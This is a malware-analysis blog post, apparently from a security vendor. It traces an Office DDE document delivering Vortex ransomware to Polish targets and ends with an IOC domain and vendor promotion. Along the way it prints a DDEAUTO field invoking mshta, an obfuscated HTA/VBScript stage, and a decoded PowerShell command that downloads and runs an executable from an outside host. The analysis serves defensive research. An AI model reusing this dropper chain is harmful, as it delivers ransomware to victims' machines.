Microsoft Office DDE Vortex Ransomware Targeting Poland

2017-11-16

Unfortunately, it appears that ransomware authors are now starting to employ the use of Microsoft Office DDE malware carriers. This post will likely be our last on DDE dissection and covers the delivery of Vortex ransomware, seemingly targeted towards Poland. You can continue this research path using our hunt rule: (Microsoft_Office_DDE_Command_Execution.rule) on Virus Total Intelligence (VTI). The final delivered payload in this attack is Vortex Ransomware:

/images/dde/vortex-ransomware.png

Stepping backwards however to the initial DDE sample, we have bd61559c7dcae0edef672ea922ea5cf15496d18cc8c1cbebee9533295c2d2ea9 (1/59 AV detection rate), which is in CDF format and leverages a more novel technique to pivot to the next payload via mshta.exe:

DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe "http://w-szczecin.pl/img2/NEW15_10.doc/index.hta

Let's pull down the payload and see what we have:

$ wget http://w-szczecin.pl/img2/NEW15_10.doc/index.hta
--2017-10-15 18:15:08--  http://w-szczecin.pl/img2/NEW15_10.doc/index.hta
Resolving w-szczecin.pl... 91.231.140.161
Connecting to w-szczecin.pl|91.231.140.161|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3444 (3.4K)
Saving to: ‘index.hta’
2017-10-15 18:15:09 (109 MB/s) - ‘index.hta’ saved [3444/3444]

$ cat index.hta
<!DOCTYPE html>
<meta http-equiv="x-ua-compatible" content="ie=emulateie8" >
<html>
<body>
<script language="javascript">
<!--
document.write(unescape('%3C%21%44%4F%43%54%59%50%45%20%68%74%6D%6C%3E%0A%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%78%2D%75%61%2D%63%6F%6D%70%61%74%69%62%6C%65%22%20%63%6F%6E%74%65%6E%74%3D%22%69%65%3D%65%6D%75%6C%61%74%65%69%65%38%22%20%3E%0A%3C%68%74%6D%6C%3E%0A%3C%62%6F%64%79%3E%0A%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%76%62%73%63%72%69%70%74%22%3E%0A%44%69%6D%20%41%4E%44%52%5A%45%4A%48%44%39%31%20%3A%20%44%69%6D%20%6A%6A%6A%6A%20%3A%20%53%65%54%20%41%4E%44%52%5A%45%4A%48%44%39%31%20%3D%20%63%72%65%61%74%65%6F%62%6A%65%63%74%20%28%20%22%77%73%63%72%49%50%74%2E%73%48%45%4C%6C%22%20%29%20%3A%20%6A%6A%6A%6A%20%3D%20%22%20%70%6F%77%65%72%73%68%65%6C%6C%2E%65%78%65%20%2D%45%78%65%43%55%74%49%6F%6E%50%6F%6C%49%63%59%20%62%79%70%61%73%73%20%20%2D%57%49%4E%64%6F%77%53%54%59%4C%45%20%68%69%64%64%45%6E%20%2D%45%4E%43%6F%64%65%64%63%4F%4D%4D%41%4E%64%20%55%41%42%76%41%48%63%41%5A%51%42%79%41%46%4D%41%61%41%42%6C%41%47%77%41%62%41%41%67%41%43%30%41%52%51%42%34%41%47%55%41%59%77%42%31%41%48%51%41%61%51%42%76%41%47%34%41%55%41%42%76%41%47%77%41%61%51%42%6A%41%48%6B%41%49%41%42%69%41%48%6B%41%63%41%42%68%41%48%4D%41%63%77%41%67%41%43%30%41%62%67%42%76%41%48%41%41%63%67%42%76%41%47%59%41%61%51%42%73%41%47%55%41%49%41%41%74%41%48%63%41%61%51%42%75%41%47%51%41%62%77%42%33%41%48%4D%41%64%41%42%35%41%47%77%41%5A%51%41%67%41%47%30%41%61%51%42%75%41%47%6B%41%62%51%42%70%41%48%6F%41%5A%51%42%6B%41%43%41%41%4C%51%42%6A%41%47%38%41%62%51%42%74%41%47%45%41%62%67%42%6B%41%43%41%41%4B%41%42%4F%41%47%55%41%64%77%41%74%41%45%38%41%59%67%42%71%41%47%55%41%59%77%42%30%41%43%41%41%55%77%42%35%41%48%4D%41%64%41%42%6C%41%47%30%41%4C%67%42%4F%41%47%55%41%64%41%41%75%41%46%63%41%5A%51%42%69%41%45%4D%41%62%41%42%70%41%47%55%41%62%67%42%30%41%43%6B%41%4C%67%42%45%41%47%38%41%64%77%42%75%41%47%77%41%62%77%42%68%41%47%51%41%52%67%42%70%41%47%77%41%5A%51%41%6F%41%43%63%41%61%41%42%30%41%48%51%41%63%41%41%36%41%43%38%41%4C%77%42%33%41%43%30%41%63%77%42%36%41%47%4D%41%65%67%42%6C%41%47%4D%41%61%51%42%75%41%43%34%41%63%41%42%73%41%43%38%41%61%51%42%74%41%47%63%41%4D%67%41%76%41%48%4D%41%4E%51%41%77%41%43%34%41%5A%51%42%34%41%47%55%41%4A%77%41%73%41%42%30%67%4A%41%42%6C%41%47%34%41%64%67%41%36%41%45%45%41%55%41%42%51%41%45%51%41%51%51%42%55%41%45%45%41%58%41%42%75%41%48%59%41%63%77%42%7A%41%43%34%41%5A%51%42%34%41%47%55%41%48%53%41%70%41%44%73%41%55%77%42%30%41%47%45%41%63%67%42%30%41%43%30%41%55%41%42%79%41%47%38%41%59%77%42%6C%41%48%4D%41%63%77%41%67%41%43%67%41%48%53%41%6B%41%47%55%41%62%67%42%32%41%44%6F%41%51%51%42%51%41%46%41%41%52%41%42%42%41%46%51%41%51%51%42%63%41%47%34%41%64%67%42%7A%41%48%4D%41%4C%67%42%6C%41%48%67%41%5A%51%41%64%49%43%6B%41%20%22%20%3A%20%41%4E%44%52%5A%45%4A%48%44%39%31%2E%52%55%4E%20%43%48%72%20%28%20%33%34%20%29%20%26%20%41%4E%44%52%5A%45%4A%48%44%39%31%2E%65%58%50%61%6E%44%65%6E%56%49%72%6F%4E%6D%45%6E%74%73%54%52%69%4E%47%53%28%20%22%25%43%4F%4D%53%70%45%43%25%22%20%29%20%26%20%63%48%52%20%28%20%33%34%20%29%20%26%20%43%48%72%20%28%20%33%34%20%29%20%26%20%22%2F%63%20%22%20%26%20%6A%6A%6A%6A%20%26%20%63%68%72%20%28%20%33%34%20%29%20%2C%20%30%20%3A%20%53%45%74%20%41%4E%44%52%5A%45%4A%48%44%39%31%20%3D%20%4E%4F%54%48%49%6E%47%0A%3C%2F%73%63%72%69%70%74%3E%0A%0A%3C%2F%62%6F%64%79%3E%0A%3C%2F%68%74%6D%6C%3E'));
//-->
</script>
</body>
</html>

Unescape the long string and you'll find:

<!DOCTYPE html>
<meta http-equiv="x-ua-compatible" content="ie=emulateie8" >
<html>
<body>
<script language="vbscript">
Dim ANDRZEJHD91 : Dim jjjj : SeT ANDRZEJHD91 = createobject ( "wscrIPt.sHELl" ) : jjjj = " powershell.exe -ExeCUtIonPolIcY bypass  -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcwBzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA " : ANDRZEJHD91.RUN CHr ( 34 ) & ANDRZEJHD91.eXPanDenVIroNmEntsTRiNGS( "%COMSpEC%" ) & cHR ( 34 ) & CHr ( 34 ) & "/c " & jjjj & chr ( 34 ) , 0 : SEt ANDRZEJHD91 = NOTHInG
</script>
</body>
</html>

We'll use our iPython shell to base64 decode the string above:

In [40]: print base64.b64decode("UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AH
    ...: MAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBu
    ...: AGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AC0AcwB6AGMAegBlAGMAaQBuAC4AcABsAC8AaQBtAGcAMgAvAHMANQAwAC4AZQB4AGUAJwAsAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABuAHYAcw
    ...: BzAC4AZQB4AGUAHSApADsAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACgAHSAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAG4AdgBzAHMALgBlAHgAZQAdICkA")
PowerShell -ExecutionPolicy bypass -noprofile -windowstyle minimized -command (New-Object System.Net.WebClient).DownloadFile('http://w-szczecin.pl/img2/s50.exe';, $env:APPDATA\nvss.exe );Start-Process ( $env:APPDATA\nvss.exe )

Next, we pulled down the executable and uploaded it to Virus Total (first upload) fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669 (2/65 AV detection rate):

/images/dde/vt-fe72a6b6da83c779787b2102d0e2cfd45323ceab274924ff617eb623437c2669.png

This final .exe payload masquerades as an NVIDIA service. Here's a Joe Sandbox report:

Notice from the report that the sample communicates with beer-ranking.pl, a domain that was registered on 2017-10-14 with an address tied to nearly 600,000 other domains:

InQuest detects exploitation of these and other DDE attacks via our Deep File Inspection (DFI) stack and signature MC_Office_DDE_Command_Exec (event ID 5000728) released on October 10th, 2017. We're also big fans of Joe Sandbox. It's one of multiple active integrations within the InQuest platform. We additionally support VXStream, Cuckoo, and FireEye sandbox integrations. We're looking at adding support for VMRay analyzer next. Active integrations within InQuest are fed files that we carve off the wire. The integration is then given time to complete its analysis at which point the InQuest integration will retrieve the results and factor it into the final session threat score. For more information on other integrations we support, see www.InQuest.net.

To follow along the highlights of the conversation on Twitter, follow this moment:

IOCs

  • beer-ranking[.]pl

Tags: threat-hunting, deep-file-inspection, malware-analysis, ransomware